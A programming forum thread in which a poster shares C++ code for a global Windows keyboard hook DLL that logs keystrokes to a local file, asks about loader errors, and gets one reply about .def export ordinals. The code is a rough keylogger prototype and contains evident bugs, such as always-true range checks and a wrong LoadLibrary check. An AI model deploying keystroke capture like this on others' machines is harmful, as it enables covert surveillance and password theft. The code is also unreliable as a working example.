Global Keyboard Hook with DLL

Hi, I'm trying to write a global keyboard hook for learning purposes. This is the first time I've worked with hooks, Windows API and DLLs so yeah. Errors are at the bottom, Thanks:

Code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
/*
* LOGGER.CPP
* Main Driver Executable
*/
 
#define WIN32_LEAN_AND_MEAN
#include <iostream>
#include <cstdlib>
#include "windows.h"
 
using namespace std;
 
HHOOK hhandle;
HMODULE dllHandle;
HOOKPROC hookProcAddress;
 
int main() {
	dllHandle = LoadLibrary((LPCTSTR)"hookdll.dll");
	if (!LoadLibrary)
		cout << "LoadLibrary Call Failed, Error number: " << GetLastError() << endl;
	hookProcAddress = (HOOKPROC)GetProcAddress(dllHandle, (LPCSTR)"HookProcedure");
	if (!hookProcAddress)
		cout << "GetProcAddress Call Failed, Error number: " << GetLastError() << endl;
	hhandle = SetWindowsHookEx(WH_KEYBOARD, hookProcAddress, dllHandle, 0);
	if (!hhandle)
		cout << "SetWindowsHookEx Call Failed, Error number: " << GetLastError() << endl;
	Sleep(INFINITE);
}
 
// The following files are all associated with the DLL and not the main executable.
 
/*
* hookdll.h
* Header file with the HookProcedure prototype.
*/
 
#define WIN32_LEAN_AND_MEAN
#include "windows.h"
 
LRESULT CALLBACK HookProcedure(int code, WPARAM wParam, LPARAM lParam);
 
/*
* hookdll.cpp
* The DLL file's code (With the HOOKPROC (HookProcedure))
*/
 
#define WIN32_LEAN_AND_MEAN
#include "windows.h"
#include "hookdll.h"
#include <cstdio>
 
FILE * log;
 
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
	log = fopen("log.txt", "a");
}
 
LRESULT CALLBACK HookProcedure(int code, WPARAM wParam, LPARAM lParam) {
	if (code < 0)
		return CallNextHookEx(0, code, wParam, lParam);
	if (wParam >= 65 || wParam <= 90) {
			fputc((char)wParam+32, log);
	}
	if (wParam >= 97 || wParam <= 122) {
			fputc((char)wParam, log);
	}
	return CallNextHookEx(0, code, wParam, lParam);
}
 
/*
* exports.def
* the Exports file (added into Linker->Input etc)
*/
 
LIBRARY hookdll
EXPORTS
	HookProcedure

// ERRORS:

Error Output:

GetProcAddress Call Failed, Error number: 127
SetWindowsHookEx Call Failed, Error number: 1427

Error Code Value Meanings:

ERROR_PROC_NOT_FOUND, The specified procedure could not be found.
ERROR_INVALID_FILTER_PROC, Invalid hook procedure.
Last edited on
Just guessing here, don't have time to try it out cause your code looked more or less OK:

If the .def file does not number the functions consecutively from 1 to N (where N is the number of exported functions), an error can occur where GetProcAddress returns an invalid, nonnull address, even though there is no function with the specified ordinal.



so your def file should be

1
2
3
LIBRARY hookdll
EXPORTS
    HookProcedure @1


hth
Anders

Topic archived. No new replies allowed.